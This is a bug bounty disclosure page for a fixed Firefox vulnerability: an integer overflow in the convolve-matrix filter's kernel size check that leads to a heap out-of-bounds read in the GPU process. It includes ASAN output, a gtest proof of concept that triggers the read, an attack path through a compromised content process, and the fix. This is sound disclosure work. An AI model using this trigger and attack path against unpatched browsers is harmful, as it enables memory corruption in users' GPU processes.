ConvolveMatrix Integer Overflow Heap OOB Read
A signed integer overflow in the convolve-matrix filter's kernel size validation lets an oversized width and height multiply to zero, so an empty kernel matrix passes the check. The renderer then allocates a tiny buffer and reads far past it, causing a heap out-of-bounds read in the GPU process.
Originally disclosed on Mozilla
- Fixed in 36 days
- Paid in 54 days
- Disclosed after 36 days
Web-reachable via SVG <feConvolveMatrix> or Canvas2D filter operations.
There's a signed integer overflow in FilterNodeConvolveMatrixSoftware::DoRender that allows bypassing the kernel matrix validation, causing an OOB heap read through raw pointer arithmetic.
The bug is at gfx/2d/FilterNodeSoftware.cpp:2441-2443:
if (mKernelSize.width <= 0 || mKernelSize.height <= 0 ||
mKernelMatrix.size() !=
uint32_t(mKernelSize.width * mKernelSize.height) ||
When width=65536 and height=65536, the int32_t multiplication overflows: 65536 * 65536 = 4294967296, which truncates to 0 in 32-bit signed arithmetic. The cast to uint32_t then produces 0, so an empty mKernelMatrix (size=0) passes the check since 0 != 0 is false.
After bypassing validation, line 2502 allocates:
int32_t* intKernel = new int32_t[kernel.size()]; // kernel.size() = 0
Then ConvolvePixel at line 2358 accesses aKernel[aOrderX * y + x] with aOrderX=65536, aOrderY=65536, reading way past the 1-byte allocation.
ASAN Proof
Tested on mozilla-central with --enable-address-sanitizer:
==58059==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020002269d0 at pc 0x000305ed97bc bp 0x00016fd2be50 sp 0x00016fd2be48
READ of size 4 at 0x6020002269d0 thread T0
#0 0x000305ed97b8 in already_AddRefed<mozilla::gfx::DataSourceSurface> mozilla::gfx::FilterNodeConvolveMatrixSoftware::DoRender<float>(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, float, float)+0x17f8 (XUL:arm64+0x5ed97b8)
#1 0x000305ec3d18 in mozilla::gfx::FilterNodeSoftware::GetOutput(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&)+0x3d0 (XUL:arm64+0x5ec3d18)
#2 0x000305e856a8 in mozilla::gfx::FilterNodeSoftware::Draw(mozilla::gfx::DrawTarget*, mozilla::gfx::RectTyped<mozilla::gfx::UnknownUnits, float> const&, mozilla::gfx::PointTyped<mozilla::gfx::UnknownUnits, float> const&, mozilla::gfx::DrawOptions const&)+0x2e8 (XUL:arm64+0x5e856a8)
0x6020002269d1 is located 0 bytes after 1-byte region [0x6020002269d0,0x6020002269d1)
allocated by thread T0 here:
#0 0x0001008068bc in malloc+0x70 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x528bc)
#1 0x0001002c8cc0 in moz_xmalloc+0x10 (libmozglue.dylib:arm64+0xcc0)
#2 0x000305ed8c74 in already_AddRefed<mozilla::gfx::DataSourceSurface> mozilla::gfx::FilterNodeConvolveMatrixSoftware::DoRender<float>(...)+0xcb4 (XUL:arm64+0x5ed8c74)
The allocation trace confirms the 1-byte allocation happens in DoRender, and the OOB read happens in the same function's ConvolvePixel loop.
PoC
gfx/tests/gtest/TestConvolveMatrixOOB.cpp exercises this through the real Mozilla 2D API:
#include "gtest/gtest.h"
#include "2D.h"
#include "Filters.h"
#include "FilterNodeSoftware.h"
using namespace mozilla;
using namespace mozilla::gfx;
TEST(ConvolveMatrixOOB, IntegerOverflowBypass)
{
RefPtr<DrawTarget> dt = Factory::CreateDrawTarget(
BackendType::SKIA, IntSize(8, 8), SurfaceFormat::B8G8R8A8);
if (!dt) {
return;
}
RefPtr<FilterNode> filter = dt->CreateFilter(FilterType::CONVOLVE_MATRIX);
ASSERT_TRUE(filter);
// 65536 * 65536 = 4294967296 which overflows int32_t, wraps to 0
filter->SetAttribute(ATT_CONVOLVE_MATRIX_KERNEL_SIZE,
IntSize(65536, 65536));
// Empty kernel matrix (size 0 matches the overflowed product uint32_t(0) = 0)
filter->SetAttribute(ATT_CONVOLVE_MATRIX_KERNEL_MATRIX,
(const Float*)nullptr, (uint32_t)0);
filter->SetAttribute(ATT_CONVOLVE_MATRIX_DIVISOR, 1.0f);
filter->SetAttribute(ATT_CONVOLVE_MATRIX_BIAS, 0.0f);
filter->SetAttribute(ATT_CONVOLVE_MATRIX_TARGET, IntPoint(0, 0));
filter->SetAttribute(ATT_CONVOLVE_MATRIX_RENDER_RECT,
IntRect(0, 0, 1, 1));
filter->SetAttribute(ATT_CONVOLVE_MATRIX_EDGE_MODE,
(uint32_t)EDGE_MODE_NONE);
filter->SetAttribute(ATT_CONVOLVE_MATRIX_KERNEL_UNIT_LENGTH,
Size(0.00001f, 0.00001f));
filter->SetAttribute(ATT_CONVOLVE_MATRIX_PRESERVE_ALPHA, false);
RefPtr<DataSourceSurface> inputSurface =
Factory::CreateDataSourceSurface(IntSize(8, 8),
SurfaceFormat::B8G8R8A8, true);
ASSERT_TRUE(inputSurface);
filter->SetInput(IN_CONVOLVE_MATRIX_IN, inputSurface);
// ASAN: heap-buffer-overflow READ on the very first ConvolvePixel iteration
dt->DrawFilter(filter, Rect(0, 0, 1, 1), Point(0, 0), DrawOptions());
}
Run: ./mach gtest "ConvolveMatrixOOB.*"
Attack Vector
Not directly web-triggerable through SVG. dom/svg/SVGFilters.cpp:132,140 clamps kernel dimensions to kReasonableSurfaceSize=8192 (gfx/2d/2D.h:582) before they reach the filter node.
The real path is content process -> GPU process via CanvasTranslator. FilterNodeRecording (DrawTargetRecording.cpp:136-194) records SetAttribute calls without any validation. The GPU process replays them through RecordedFilterNodeSetAttribute::PlayEvent (RecordedEventImpl.h:4450-4489) straight into FilterNodeConvolveMatrixSoftware::SetAttribute (FilterNodeSoftware.cpp:2206-2211) which just assigns mKernelSize = aKernelSize with no checks.
So a compromised content process crafts a drawing command recording with kernel size 65536x65536, the GPU process replays it, and DoRender hits the overflow. sec-high: memory corruption in the GPU process from compromised content.
Fix
Use CheckedInt for the multiplication:
CheckedInt<uint32_t> expectedSize = CheckedInt<uint32_t>(mKernelSize.width) * mKernelSize.height;
if (mKernelSize.width <= 0 || mKernelSize.height <= 0 ||
!expectedSize.isValid() ||
mKernelMatrix.size() != expectedSize.value() || ...)
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The kernel size product is computed in 32-bit signed arithmetic without overflow checking, so a large width times height wraps to zero and matches an empty matrix.
Impact
A compromised content process could cause memory corruption in the GPU process, rated sec-high; direct web triggering through SVG is blocked because kernel dimensions are clamped before reaching the filter.
What the attacker needed
Compromised content process; GPU process replays recorded filter commands
The fix
The multiplication should be performed with an overflow-checked integer type and rejected when invalid.
How it was found
- Create a draw target and a convolve-matrix filter.
- Set the kernel size to 65536 by 65536 so the product overflows to zero.
- Set an empty kernel matrix, which now passes validation.
- Set the remaining filter attributes and an input surface.
- Draw the filter, which triggers the out-of-bounds read in the pixel loop.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A filter that blurs or sharpens an image uses a small grid of numbers called a kernel, and the code checks that the grid size matches the width times height. If those two numbers are huge, the multiplication wraps around to zero, so an empty grid looks valid. The program then reads numbers from a buffer that is far too small, which is a memory error that can crash or corrupt the process.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.